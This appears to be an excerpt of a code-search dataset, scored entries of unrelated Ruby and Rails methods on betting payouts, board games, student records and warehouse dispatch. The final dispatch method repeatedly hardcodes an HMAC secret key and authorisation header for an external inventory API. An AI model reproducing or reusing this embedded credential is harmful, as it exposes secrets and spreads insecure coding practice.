"text": "def excede_control_de_pago_x_ticket(last_tickect_current_user, entrada)\n #verificar tipo de parlay de ese ticket:\n parlay_count = Jugadalot.where(:ticket_id => last_tickect_current_user).count\n #parlay_count\n\n #switch case para asignar tipo de jugada segun tipo de parlay para buscar en control de pago:\n tipo_jugada = \"default\" # valor vacio para posible uso fuera de contexto de septimetas en adelante, hacer que retorne false la funcion ok. (no encontrado)\n \n #el switch case lo haremos de modo simple con el if statement por ahora ok:\n if parlay_count.to_i == 1\n tipo_jugada = \"directo\" \n end\n\n if parlay_count.to_i == 2\n tipo_jugada = \"pale\" \n end\n\n if parlay_count.to_i == 3\n tipo_jugada = \"tripleta\" \n end\n\n if parlay_count.to_i == 4\n tipo_jugada = \"cuarteta\" \n end\n\n if parlay_count.to_i == 5\n tipo_jugada = \"quinteta\" \n end\n\n if parlay_count.to_i == 6\n tipo_jugada = \"sexteta\" \n end\n\n if parlay_count.to_i == 7\n tipo_jugada = \"septimeta\" \n end\n\n if parlay_count.to_i == 8\n tipo_jugada = \"octaveta\" \n end\n\n control_monto_max_pago = Controldepagogt.where(:tipojugada => tipo_jugada ).first.limitexticket.to_i\n\n #verificar posible pago: riesgo\n entrada = entrada[1..(entrada.size-1)] # \"SOBREESCRIBO ESTO ASI: ..250 => .250\" ESTO PARA QUE LUEGO SE TRANSFORME DE .250 A 250 DENTRO DE LA FUNCION. REUCUERDA QUE EN ESTA SECCION DE CODIGO ENTRADA DE DE COBRO FINAL NO DE EVALUACION DE PAGO: ..250 ES DE COBRO FINAL. OK. TED.\n riesgo = procesar_posible_pago(last_tickect_current_user, entrada)# procesar_posible_pago retorna array ok ted.\n\n if (riesgo != nil) # esto para evitar errores de nil. ya no necesario porue depuramos no jugadas vacias para computar pero lo dejaremos ok. ted\n if (riesgo[1].to_i <= control_monto_max_pago)\n false # no excede ok\n else\n true # execede\n end\n end\n\n end",
"title": ""
},
{
"docid": "674c48cd84d10c5f2105e8de0d407ec7",
"score": "0.5453649",
"text": "def set_opcao\n @opcao = Opcao.find(params[:id])\n end",
"title": ""
},
{
"docid": "2dbabd0eeb642c38aad852e40fc6aca7",
"score": "0.54533523",
"text": "def operations; end",
"title": ""
},
{
"docid": "2dbabd0eeb642c38aad852e40fc6aca7",
"score": "0.54533523",
"text": "def operations; end",
"title": ""
},
{
"docid": "107cabf4964e388a4994d863636f5983",
"score": "0.5438775",
"text": "def get_importe_cancelar_hipoteca()\n \n \n cantidad_recibida = (@precio_hipoteca_base*(1+(@num_casas*0.5)+(@num_hoteles*2.5)));\n return cantidad_recibida*@@FACTORINTERESESHIPOTECA;\n \n end",
"title": ""
},
{
"docid": "ee8abdf718bcad0e8ab5938caeead312",
"score": "0.54368836",
"text": "def index\n # @usuarios = @topico.perguntas.usuarios\n end",
"title": ""
},
{
"docid": "8246fea91b58464745b2b8ee9df9d3e1",
"score": "0.5429988",
"text": "def update\n if params[:admin_password] == ENV[\"ADMIN_PASSWORD\"]\n if params[:op][:delete] == \"yes\"\n @operation.destroy\n amount = User.find(operation_params[:user_id]).initAmount\n Operation.where(user_id: operation_params[:user_id]).find_each do |operation|\n amount = amount + operation.sum\n end\n User.find(operation_params[:user_id]).update_attribute(:amount, amount)\n respond_to do |format|\n format.html { redirect_to Operation, notice: \"L'opération a bien été supprimée.\" }\n end\n else\n respond_to do |format|\n if @operation.update(operation_params)\n amount = User.find(operation_params[:user_id]).initAmount\n Operation.where(user_id: operation_params[:user_id]).find_each do |operation|\n amount = amount + operation.sum\n end\n User.find(operation_params[:user_id]).update_attribute(:amount, amount)\n format.html { redirect_to Operation, notice: \"L'opération a bien été mise à jour.\" }\n format.json { render :show, status: :ok, location: @operation }\n else\n format.html { render :edit }\n format.json { render json: @operation.errors, status: :unprocessable_entity }\n end\n end\n end\n else\n redirect_back fallback_location: \"\"\n end\n end",
"title": ""
},
{
"docid": "9956e9247e0ad28c986e7e9398227289",
"score": "0.5417818",
"text": "def notificaciones\n end",
"title": ""
},
{
"docid": "0570c713d15e3c2c3c08b565e09a689e",
"score": "0.5405102",
"text": "def get_usoterreno\n aux = 0.0\n @contenido.each do |alimento|\n aux += alimento.ground\n end\n @usoterreno = aux\n end",
"title": ""
},
{
"docid": "07f4aba74008200310213b63a5f3de3f",
"score": "0.5404906",
"text": "def zuruecksetzen()\n end",
"title": ""
},
{
"docid": "2cb3a7fed2390f726f9d740247eabeab",
"score": "0.54007006",
"text": "def cicloInactiva\n \n #-- Se calcula la cantidad de insumo basico requerido por la maquina C \n insumoRequerido = @porcentajeIB * @cantidadMax\n \n #-- Unicamente si se tiene la cantidad requerida de insumo basico\n #-- en el contenedor, se procede a analizar el resto de la mezcla\n if @insumoBasico.cantidad >= insumoRequerido \n \n #-- Caso en el que la maquina posee un contenedor de enlace\n #-- con una maquina anterior.\n if @productoAnterior != nil\n \n\n \n #-- Se calcula la cantidad de producto anterior requerido\n #-- por la maquina Compleja\n productoAnteriorRequerido = @porcentajePA * @cantidadMax\n cantidadAObtener = productoAnteriorRequerido -\n @productoAnteriorRestante \n \n \n #-- Caso en el que el producto encontrado en el contenedor\n #-- es suficiente para comenzar el procesamiento de \n #-- la maquina\n if @productoAnterior.cantidad >= cantidadAObtener\n \n #-- Se resta la cantidad necesaria para comenzar a \n #-- procesar de la cantidad encontrada en el contenedor\n @productoAnterior.cantidad -= cantidadAObtener\n \n #-- Se disminuye la cantidad de insumo basico del \n #-- contenedor\n @insumoBasico.cantidad -= insumoRequerido\n @productoAnteriorRestante = 0.0\n \n #-- La maquina pasa al estado LLena\n @estado = \"Llena\"\n \n #-- Caso en el que el producto encontrado en el contenedor\n #-- no es el suficiente para comenzar el procesamiento de\n #-- de la maquina\n else\n #-- Se recolecta en su totalidad la fraccion restante \n #-- de producto anterior del contenedor\n @productoAnteriorRestante += @productoAnterior.cantidad\n @productoAnterior.cantidad = 0\n \n end\n \n #-- Caso en el que la maquina corresponde a la primera dentro\n #-- del proceso de produccion. Unicamente se verifica el insumo\n #-- basico, pues no se depende de ningun producto anterior.\n else\n @insumoBasico.cantidad -= insumoRequerido\n \n #-- La maquina pasa al estado LLena\n @estado = \"Llena\"\n end\n end\n end",
"title": ""
},
{
"docid": "b1773bd34f7fbe476fbc652201e2b659",
"score": "0.53995186",
"text": "def posti_disponibili\n self.vehicle.posti - self.n_passeggeri\n end",
"title": ""
},
{
"docid": "a75b73590361b27a00f5699f45ef1fae",
"score": "0.5396403",
"text": "def cuantas_especies_inferiores(opc = {})\n return unless opc[:estadistica_id].present?\n puts \"\\n\\nGuardo estadisticas_cuantas_especies_inferiores_#{opc[:estadistica_id]} - #{id} ...\"\n escribe_cache(\"estadisticas_cuantas_especies_inferiores_#{opc[:estadistica_id]}\", CONFIG.cache.estadisticas.cuantas_especies_inferiores) if Rails.env.production?\n\n conteo = case opc[:estadistica_id]\n when 2, 22\n cuantas_especies(opc)\n when 3, 23\n cuantas_especies_e_inferiores(opc)\n else\n false\n end\n\n return unless conteo\n\n if estadistica = especie_estadisticas.where(estadistica_id: opc[:estadistica_id]).first\n estadistica.conteo = conteo\n estadistica.save if estadistica.changed?\n return\n end\n\n # Quiere decir que no existia la estadistica\n estadistica = especie_estadisticas.new\n estadistica.estadistica_id = opc[:estadistica_id]\n estadistica.conteo = conteo\n estadistica.save\n end",
"title": ""
},
{
"docid": "29296ab69e8be6f2918d831cec4f9394",
"score": "0.5378502",
"text": "def set_inventario\n end",
"title": ""
},
{
"docid": "da9a83bae386fb5a22dae2bf4fafc39a",
"score": "0.53650945",
"text": "def devolver_azucar \n\t\treturn @azucares\n\tend",
"title": ""
},
{
"docid": "766f7ce5904373996ff887a36ba1c836",
"score": "0.5364337",
"text": "def index\n @utentis = Utenti.all\n end",
"title": ""
},
{
"docid": "4fdc2f446d232dd3e85ee4df103ff33e",
"score": "0.53589153",
"text": "def set_prodottos_operazione\n @prodottos_operazione = ProdottosOperazione.find(params[:id])\n end",
"title": ""
},
{
"docid": "a72adb30bdd2dc997548171e9a21aac4",
"score": "0.5310159",
"text": "def utiliser( objet )\n\t\t@jeu.joueur.utiliserObjet( objet )\n\t\trafraichir\n\tend",
"title": ""
},
{
"docid": "b08ec0c84ef3f66eaf9bced2f5fee8fb",
"score": "0.530779",
"text": "def findOperationUsages(operation, opType)\n operationArray = $opHash[opType + operation.operationElement]\n operationArray.each { \n |ids| \n if(ids != operation.operationId)\n $nodos[$nodos.find_index {|item| item.operationId == ids}].saidas.push($nodos[$nodos.find_index {|item| item.operationId == operation.operationId}])\n $nodos[$nodos.find_index {|item| item.operationId == operation.operationId}].entradas.push($nodos[$nodos.find_index {|item| item.operationId == ids}])\n end\n }\nend",
"title": ""
},
{
"docid": "4a8c0e02f8a9af29ba58b97002d1cf25",
"score": "0.5304343",
"text": "def set_nota_tecnica\n @nota_tecnica = NotaTecnica.find(params[:id])\n end",
"title": ""
},
{
"docid": "0404ba3bf00200ca0d0a14bd89e3fb70",
"score": "0.52995354",
"text": "def es_recolector \n if current_user.rol != 2\n render json: {entrega: [\"Operación no permitida para este rol de usuario\"]}, status:401 \n end\n end",
"title": ""
},
{
"docid": "bd395ef5570ec94ad67ca3120a943fca",
"score": "0.52969146",
"text": "def operation; end",
"title": ""
},
{
"docid": "358a83be2989b495cd255a801e047a94",
"score": "0.5295817",
"text": "def set_operacioncontroldete\n @operacioncontroldete = Operacioncontroldete.find(params[:id])\n end",
"title": ""
},
{
"docid": "eba97e4ccc9404094b074472c12d9a5e",
"score": "0.5283186",
"text": "def moverPrimasADespacho(cantidad_lotes)\n\t\n\nend",
"title": ""
},
{
"docid": "f6e8a14db83e4a274ebe6947df05ba80",
"score": "0.52718586",
"text": "def estudiantes\n\t\t@seccion = \"Estudiantes\"\n @titulo = \"Estudiantes\"\n\t\tif params[:orden]\n\t\t\t@orden = params[:orden]\n\t\telse\n\t\t\t@orden = \"Cédula\"\n\t\tend\n\n #Guardo todos los estudiantes\n if Estudiante.all().size > 0\n case @orden\n \twhen \"Cédula\"\n \t\t@usuarios = Usuario.order('cedula').where(:id => Estudiante.all)\n \twhen \"Nombre\"\n \t\t@usuarios = Usuario.order('nombre').where(:id => Estudiante.all)\n \twhen \"Apellido\"\n \t\t@usuarios = Usuario.order('apellido').where(:id => Estudiante.all)\n \twhen \"Correo\"\n \t\t@usuarios = Usuario.order('correo').where(:id => Estudiante.all)\n \tend\n end\n\n\t\t@categorias = ['Cédula', 'Nombre', 'Apellido', 'Correo'] #Este es el orden que se mostrará en el select de la vista\n\n\t\t@estudiante_datos = [] #En este arreglo se guardan los pares \"Cedula - Nombre Apellido\" de cada usuario para mostrar en el campo de busqueda\n\t\tUsuario.order('nombre').where(:id => Estudiante.all).each do |usuario|\n\t\t\t#En este foro se agregan uno a uno los valores de cada estudiante al arreglo de la manera indicada arriba\n\t\t\t@estudiante_datos << usuario.cedula.to_s + \" - \" + usuario.nombre_y_apellido.to_s\n\t\tend\n\tend",
"title": ""
},
{
"docid": "d11ffd5cf2b30588b34e8c05d6772d40",
"score": "0.5268326",
"text": "def reactivacion\r\n\t\tif session[:usuario_id]\r\n\t\t\tenti = Usuarioentidad.where(usuario_id: session[:usuario_id]).take\r\n\t\tend\r\n\t\t#Solamente el consejo de facultad tiene la posibilidad de reactivar instructores\r\n\t\tif session[:usuario_id] && session[:entidad] == true && enti.entidad_id == 13\r\n\t\t\tsession[:adecuacion_id] = nil\r\n\t\t\tsession[:plan_id] = nil\r\n\t\t\tsession[:instructorName] = nil\r\n\t\t\tsession[:informe_id]=nil\r\n\t\t\t@cjpTipo=Usuario.find(session[:usuario_id]).tipo\r\n\t\t\t@nombre = session[:nombre_usuario]\r\n\t\t\t@usu=Usuarioentidad.where(entidad_id: session[:entidad_id]).take\r\n\t\t\t@entidad_escuela_id= @usu.escuela_id\r\n\t\t\t@usuarios = Usuario.where(activo: 0).all\r\n\t\t\t@instructores = []\r\n\t\t\tcpcontador = 0\r\n\t\t\t@instructores[cpcontador] = Array.new(2) { |i| }\r\n\t\t\t@instructores[cpcontador][0] = \"Seleccione el instructor\"\r\n\t\t\t@instructores[cpcontador][1] = 0\r\n\t\t\tcpcontador = cpcontador + 1\r\n\r\n\t\t\t@usuarios.each do |usuari|\t\t#Arreglo con los usuarios inahibilitados\r\n\t\t\t\tcppersona = Persona.find_by usuario_id: usuari.id\r\n\t\t\t\t@instructores[cpcontador] = Array.new(2) { |i| }\r\n\t\t\t\t@instructores[cpcontador][0] = cppersona.nombres.to_s.split.map(&:capitalize).join(' ') + \" \" + cppersona.apellidos.to_s.split.map(&:capitalize).join(' ')\r\n\t\t\t\t@instructores[cpcontador][1] = usuari.id\r\n\t\t\t\tcpcontador = cpcontador + 1\r\n\t\t\tend\r\n\r\n\t\t\ti = 1\r\n\t\t\tj = 1\r\n\t\t\tnombre = \"hola\"\r\n\t\t\tcpid = 1\r\n\r\n\t\t\t#Ordena los nombres por orden alfabetico (Ordenamiento Burbuja)\r\n\t\t\twhile i < cpcontador do\r\n\t\t\t\tnombre = @instructores[i][0]\r\n\t\t\t\tcpid = @instructores[i][1]\r\n\t\t\t\tj = i + 1\r\n\t\t\t\twhile j < cpcontador do\r\n\r\n\t\t\t\t\tif @instructores[j][0] < nombre\r\n\t\t\t\t\t\t@instructores[i][0] = @instructores[j][0]\r\n\t\t\t\t\t\t@instructores[i][1] = @instructores[j][1]\r\n\t\t\t\t\t\t@instructores[j][0] = nombre\r\n\t\t\t\t\t\t@instructores[j][1] = cpid\r\n\t\t\t\t\t\tnombre = @instructores[i][0]\r\n\t\t\t\t\t\tcpid = @instructores[i][1]\r\n\t\t\t\t\tend\r\n\r\n\t\t\t\t\tj +=1\r\n\t\t\t\tend\r\n\t\t\t\ti +=1\r\n\t\t\tend\r\n\r\n\t\telse\r\n\t\t\tredirect_to controller:\"forminst\", action: \"index\"\r\n\t\tend\r\n\tend",
"title": ""
},
{
"docid": "5faf9ca984c09e109a73553c803bdaf9",
"score": "0.52658796",
"text": "def changerEnRouge\n\t\t@couleur=1\n\tend",
"title": ""
},
{
"docid": "4bf21408c6496dcd5a0360c40cb5c5b9",
"score": "0.5261538",
"text": "def agregar_estudiante_a_seccion\n \n if __es_del_grupo_docente && params[:id] && __es_numero_entero?(params[:id]) && SeccionSitioWeb.where(:id => params[:id]).size > 0\n @seccion = \"estudiantes\"\n @seccion_sitio_web = SeccionSitioWeb.where(:id => params[:id]).first\n @cedulas = Usuario.order(\"cedula\").where(:id => Estudiante.all).collect{ |x| x.cedula.to_s}.uniq\n return\n end\n\n redirect_to :asignatura_nombre => @sitio_web.nombre_url, :semestre => @sitio_web.periodo, :controller => \"estudiantes\", :action => \"index\"\n return\n end",
"title": ""
},
{
"docid": "1cca16e91ff9b7320545ecbb1457b65a",
"score": "0.52594733",
"text": "def ognia(a,b)\n\t\tsystem \"clear\"\n\t\tif @pelna.litera[a][b] == \" X\"\n\t\t\t@pusta.litera[a][b] = \" X\"\n\t\t\tprint \"Trafiony \"\n\t\t\tszukany = (Statek.lista_statkow.select {|x| x if x.sam_statek[0] == [a,b] || x.sam_statek[1] == [a,b] ||\n\t\t\t x.sam_statek[2] == [a,b] || x.sam_statek[3] == [a,b]})[0]\n\t\t\tszukany.sam_statek.delete([a,b])\n\t\t\t\n\t\t\tif szukany.sam_statek.length == 0\n\t\t\t\tputs \"Zatopiony !!!\"\n\t\t\t\tszukany.otoczka.each {|x| pusta.litera[x[0]][x[1]]=\" .\" if x[0] >=0 && x[1] >=0 && x[0] < 10 && x[1] < 10}\n\t\t\t\tStatek.lista_statkow.delete(szukany)\n\t\t\t\tprint \"Zostało Ci jeszcze #{Statek.lista_statkow.count} statków do zatopienia\"\n\t\t\tend\n\t\t\tputs\n\t\t\t\n\t\t\telse \n\t\t\tputs \"Pudło !\"\n\t\t\t@pusta.litera[a][b] = \" .\"\n\t\t\t\n\t\tend\n\t\tif Statek.lista_statkow.count > 0\n\t\t\t@pusta.rysuj \n\t\telse\n\t\t\tsystem \"clear\"\n\t\t\t@pusta.rysuj \n\t\t\tputs \"Koniec GRY !!!\" \n\t\tend\n\tend",
"title": ""
},
{
"docid": "b0a0f8ccbe458533a5f1626694f5ef61",
"score": "0.5259086",
"text": "def set_opnion\n @opnion = Opnion.find(params[:id])\n end",
"title": ""
},
{
"docid": "03548d8975860f5ed8406fc5862c22f0",
"score": "0.5258327",
"text": "def off_org_users\n \n end",
"title": ""
},
{
"docid": "77d3ec915d3a4331d4d0d8989dfff461",
"score": "0.5248416",
"text": "def find_utilisateurs\n log(request.path, \"find_utilisateurs\")\n if current_user.admin? or is_manager?\n @utilisateurs = Utilisateur.order(:service_id, :groupe_id, :prenom, :nom)\n else\n @utilisateurs = Utilisateur.where(service: current_user.utilisateur.service).order(:service_id, :groupe_id, :prenom, :nom)\n end\n end",
"title": ""
},
{
"docid": "2322903684806d4a8f3401b03203a6fe",
"score": "0.5246632",
"text": "def guardar_resultado_operacion\n @resultado= @@calculadora.send(session[:accion].to_sym, session[:operando1].to_i, session[:operando2].to_i)\n end",
"title": ""
},
{
"docid": "5345405a5e1cded5033c2d18e1f46c0c",
"score": "0.5245761",
"text": "def operations\n setup_savon_client.operations.sort\n end",
"title": ""
},
{
"docid": "1532573b6d2dd4054e9624021a5d19d9",
"score": "0.52371913",
"text": "def puertos\n raise 'implement please!'\n end",
"title": ""
},
{
"docid": "96f24137ce95ada3ebe7131db0592bcd",
"score": "0.5232329",
"text": "def recuperationNbEtape()\n\t\t@nbEtape=@techniqueObjet.combienEtape()\n\tend",
"title": ""
},
{
"docid": "96f24137ce95ada3ebe7131db0592bcd",
"score": "0.5232329",
"text": "def recuperationNbEtape()\n\t\t@nbEtape=@techniqueObjet.combienEtape()\n\tend",
"title": ""
},
{
"docid": "fe63f7d500c153bba965d8d7d15d60ea",
"score": "0.52317977",
"text": "def set_situacao\n logger.debug \"ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ\"\n\n id_busca = params[:id]\n @os_id = params[:os_id]\n @os_tarefa = OsTarefa.find(id_busca)\n @os_tarefa.situacao=params[:situacao]\n @ordem_servico = OrdemServico.find(@os_id)\n logger.debug \"ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ\"\n\n if @os_tarefa.situacao=='REJEITADA'\n @os_tarefa.ordem_servico_pagamento= nil\n @os_tarefa.situacao=OsTarefa.situacoes[2]\n else\n @os_tarefa.ordem_servico_pagamento= @ordem_servico\n @os_tarefa.situacao=OsTarefa.situacoes[0]\n end\n @os_tarefa.save\n respond_to do |format|\n\n format.json { head :no_content }\n format.js { render :layout => false }\n\n end\n end",
"title": ""
},
{
"docid": "a09300874cf345295548b3e7ce79c16c",
"score": "0.52310395",
"text": "def lista_estoque()\n @client.get(Route.new([ROTA_DID_ESTOQUE]))\n end",
"title": ""
},
{
"docid": "beb43567d6a3e9cdb63aecedc28275bb",
"score": "0.52299625",
"text": "def produit_en_vente\n my_product_online = ProduitVenteLibre.where('user_id = ? AND deleted = 0', self.id)\n \treturn my_product_online.count\n end",
"title": ""
},
{
"docid": "01cfd4c765a6231a02e3b4a489c66e4e",
"score": "0.5222051",
"text": "def pagar_impuesto\n @saldo -= (@casilla_actual.coste / 2)\n end",
"title": ""
},
{
"docid": "bd26351ff791ed6315a7f15b9b313fac",
"score": "0.522042",
"text": "def undoables(*args)\n args = [:all] if args.size == 0\n @operations.find(:not_undone, *args)\n end",
"title": ""
},
{
"docid": "d5ad354ca3c46ddca69ded0997fcb299",
"score": "0.5213811",
"text": "def set_operact\n @operact = Operact.find(params[:id])\n end",
"title": ""
},
{
"docid": "3c65f6f910f3bd03483dbe553486b77e",
"score": "0.52120066",
"text": "def index\n @operacioncontroldetes = Operacioncontroldete.all\n end",
"title": ""
},
{
"docid": "5226fb06dc6deaff5686260b710fd4bd",
"score": "0.5206646",
"text": "def moverA_Despacho oc\n #sku = Integer(params[:sku])\n #cantidad = Integer(params[:cantidad])\n #oc = params[:oc]\n idDespacho = (Almacen.find_by depacho:true).almacenId\n @id = idDespacho\n sku = (((Orden.find_by idOrden: oc).sku).strip).to_i\n cantidad = (((Orden.find_by idOrden: oc).cantidad).strip).to_i\n puts cantidad\n cliente = (Orden.find_by idOrden: oc).cliente\n cantidadBodega = ((Inventario.find_by sku: sku).cantidadBodega).to_i\n cantidadBodega = cantidadBodega - cantidad\n (Inventario.find_by sku: sku).update(cantidadBodega: cantidadBodega)\n cantidadVendida = ((Inventario.find_by sku: sku).cantidadVendida).to_i\n cantidadVendida = cantidadVendida - cantidad\n (Inventario.find_by sku: sku).update(cantidadVendida: cantidadVendida)\n # producto = ((Inventario.find_by sku: sku).cantidadBodega).to_i - ((Inventario.find_by sku: sku).cantidadVendida).to_i\n # if sku == 19\n # StockItem.find(1).update(count_on_hand:producto)\n # elsif sku == 27\n # StockItem.find(2).update(count_on_hand:producto)\n # elsif sku == 40\n # StockItem.find(3).update(count_on_hand:producto)\n # elsif sku == 45\n # StockItem.find(4).update(count_on_hand:producto)\n # elsif sku == 47\n # StockItem.find(5).update(count_on_hand:producto)\n # end\n if cliente == 'internacional'\n #Vemos si tenemos lo suficiente en el almacén de despacho\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n temp = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/skusWithStock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho}}\n contenido = JSON.parse temp\n i=0\n necesario = cantidad\n restante = cantidad\n while contenido[i].nil? == false do\n sku_ = Integer(contenido[i][\"_id\"])\n total = Integer(contenido[i][\"total\"])\n if sku_ == sku\n puts 'ehtra aca'\n if total >= cantidad\n necesario = 0\n restante = 0\n while cantidad > 0\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho + sku.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n stock = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho, :sku => sku, :limit => cantidad}}\n stockParseado = JSON.parse stock\n puts stockParseado.length\n k = 0\n puts cantidad\n while k < stockParseado.length\n idProducto = stockParseado[k][\"_id\"]\n direccion = 'internacional'\n orden = RestClient.get 'http://moto.ing.puc.cl/oc/obtener/' + oc\n ordenParseada = JSON.parse orden\n precio = ordenParseada[0][\"precioUnitario\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'DELETE' + idProducto + direccion + precio.to_s + oc\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient::Request.execute(method: :delete, url: 'http://integracion-2016-prod.herokuapp.com/bodega/stock', payload: {:productoId => idProducto, :direccion => direccion, :precio => precio, :oc => oc}, headers: {Authorization: 'INTEGRACION grupo1:'+clave})\n k += 1\n end\n cantidad -= k\n end\n else\n necesario = cantidad - total\n restante = cantidad - total\n while total > 0\n #Despachamos lo que teniamos en despacho\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho + sku.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n stock = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho, :sku => sku, :limit => total}}\n stockParseado = JSON.parse stock\n puts stockParseado.length\n k = 0\n while k < stockParseado.length\n idProducto = stockParseado[k][\"_id\"]\n direccion = 'internacional'\n orden = RestClient.get 'http://moto.ing.puc.cl/oc/obtener/' + oc\n ordenParseada = JSON.parse orden\n precio = ordenParseada[0][\"precioUnitario\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'DELETE' + idProducto + direccion + precio.to_s + oc\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient::Request.execute(method: :delete, url: 'http://integracion-2016-prod.herokuapp.com/bodega/stock', payload: {:productoId => idProducto, :direccion => direccion, :precio => precio, :oc => oc}, headers: {Authorization: 'INTEGRACION grupo1:'+clave})\n k += 1\n end\n total -= k\n end\n #@necesario = necesario\n end\n else\n #necesario = cantidad\n #restante = cantidad\n end\n i += 1\n end\n while necesario > 0 do\n i = Almacen.first.id\n #recorremos los almacenes buscando el producto\n nAlmacenes = Almacen.last.id\n while i <= nAlmacenes \n id = Almacen.find(i).almacenId\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + id\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n temp = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/skusWithStock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => id}}\n contenido = JSON.parse temp\n j=0\n while contenido[j].nil? == false do\n sku_ = Integer(contenido[j][\"_id\"])\n total = Integer(contenido[j][\"total\"])\n if sku_ == sku && id != idDespacho\n #Encontramos el producto\n signature = 'GET' + id.to_s + sku_.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n if necesario != 0\n puts necesario\n temp = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => id, :sku => sku_, :limit => necesario}}\n productos = JSON.parse temp\n @productos = productos\n puts productos\n k = 0\n while k < productos.length\n idProducto = productos[k][\"_id\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'POST' + idProducto + idDespacho\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient.post 'http://integracion-2016-prod.herokuapp.com/bodega/moveStock', {:productoId => idProducto, :almacenId => idDespacho}.to_json, :Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json'\n k += 1\n end\n necesario -= k\n end \n end\n j += 1\n end\n i += 1\n end \n end\n #Enviamos lo restante\n while restante > 0\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho + sku.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n stock = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho, :sku => sku, :limit => restante}}\n stockParseado = JSON.parse stock\n puts stockParseado.length\n k = 0\n while k < stockParseado.length\n idProducto = stockParseado[k][\"_id\"]\n direccion = 'internacional'\n orden = RestClient.get 'http://moto.ing.puc.cl/oc/obtener/' + oc\n ordenParseada = JSON.parse orden\n precio = ordenParseada[0][\"precioUnitario\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'DELETE' + idProducto + direccion + precio.to_s + oc\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient::Request.execute(method: :delete, url: 'http://integracion-2016-prod.herokuapp.com/bodega/stock', payload: {:productoId => idProducto, :direccion => direccion, :precio => precio, :oc => oc}, headers: {Authorization: 'INTEGRACION grupo1:'+clave})\n k += 1\n end\n restante -= k\n end\n\n #(Orden.find_by idOrden: oc).update(estado: \"despachada\")\n #Aquí termina el if internacional \n else\n almacenRecepcion = (IdGrupoProduccion.find_by idGrupo: cliente).idBodegaRecepcion\n #Vemos si hay lo suficiente en el almacén de despacho\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n temp = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/skusWithStock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho}}\n contenido = JSON.parse temp\n i=0\n necesario = cantidad\n restante = cantidad\n while contenido[i].nil? == false do\n sku_ = Integer(contenido[i][\"_id\"])\n total = Integer(contenido[i][\"total\"])\n if sku_ == sku\n if total >= cantidad\n necesario = 0\n restante = 0\n while cantidad > 0\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho + sku.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n stock = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho, :sku => sku, :limit => cantidad}}\n stockParseado = JSON.parse stock\n puts stockParseado.length\n k = 0\n puts cantidad\n while k < stockParseado.length\n idProducto = stockParseado[k][\"_id\"]\n orden = RestClient.get 'http://moto.ing.puc.cl/oc/obtener/' + oc\n ordenParseada = JSON.parse orden\n precio = ordenParseada[0][\"precioUnitario\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'POST' + idProducto + almacenRecepcion\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient.post 'http://integracion-2016-prod.herokuapp.com/bodega/moveStockBodega', {:productoId => idProducto, :almacenId => almacenRecepcion, oc => oc, precio => precio}.to_json, :Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json'\n k += 1\n end\n cantidad -= k\n end\n else\n necesario = cantidad - total\n restante = cantidad - total\n while total > 0\n #Despachamos lo que teniamos en despacho\n key = '.k3GBP9YYZmzWCr'\n hmac = 